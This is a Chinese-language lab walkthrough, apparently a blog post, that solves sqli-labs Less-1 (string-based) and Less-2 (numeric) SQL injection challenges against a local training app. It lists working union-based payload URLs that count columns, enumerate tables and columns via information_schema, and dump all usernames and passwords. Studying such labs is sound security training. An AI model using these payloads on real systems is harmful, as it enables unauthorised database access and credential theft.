sqli-labs Less-1&&Less-2
Less-1

参数为id,GET方式传递

简单测试一下初步判断为字符型注入
http://localhost/sqli-labs/Less-1/index.php?id=1 and 1=2 --+
http://localhost/sqli-labs/Less-1/index.php?id=1' and 1=2 --+


http://localhost/sqli-labs/Less-1/index.php?id=1' order by 3 --+
通过order by来判断字段数
order by 后面跟数字表示根据第几列的数据来排序,order by 4时报错也就是说字段数为3

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,2,3 --+
通过联合查询获得显示位,关于union select后面直接跟数字在SQL注入中的用法参考博客
https://blog.csdn.net/weixin_44840696/article/details/89166154
简单说就是要知道哪些字段会经过数据库查询后会回到前端,假如有3个字段id,username,password,以题目为例只返回username和password内容,id字段信息并不会返回到前端,当我们输入表中没有的字段时候,返回的列就会以我们输入的信息为名称,且内容也相同,行数和原有信息行数保持一致,所以我输入union select 1,200,300页面返回的就是200和300

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,(select database()),3 --+
获取当前数据库名称,把回显位置替换成SQL语句进行查询

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查询当前数据库下的所有表

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
查询users表下的字段信息

http://localhost/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
获取所有username和password信息
Less-2


http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=1 --+
http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=2 --+
判断出来为数字型注入,剩余步骤复刻Less-1走一遍就好了
本文介绍了如何利用SQL注入技术,从Less-1的字符型注入到Less-2的数字型注入,逐步解析了参数验证漏洞的利用过程,包括字段判断、数据库信息获取和敏感数据窃取等技巧。

6900

被折叠的 条评论
为什么被折叠?



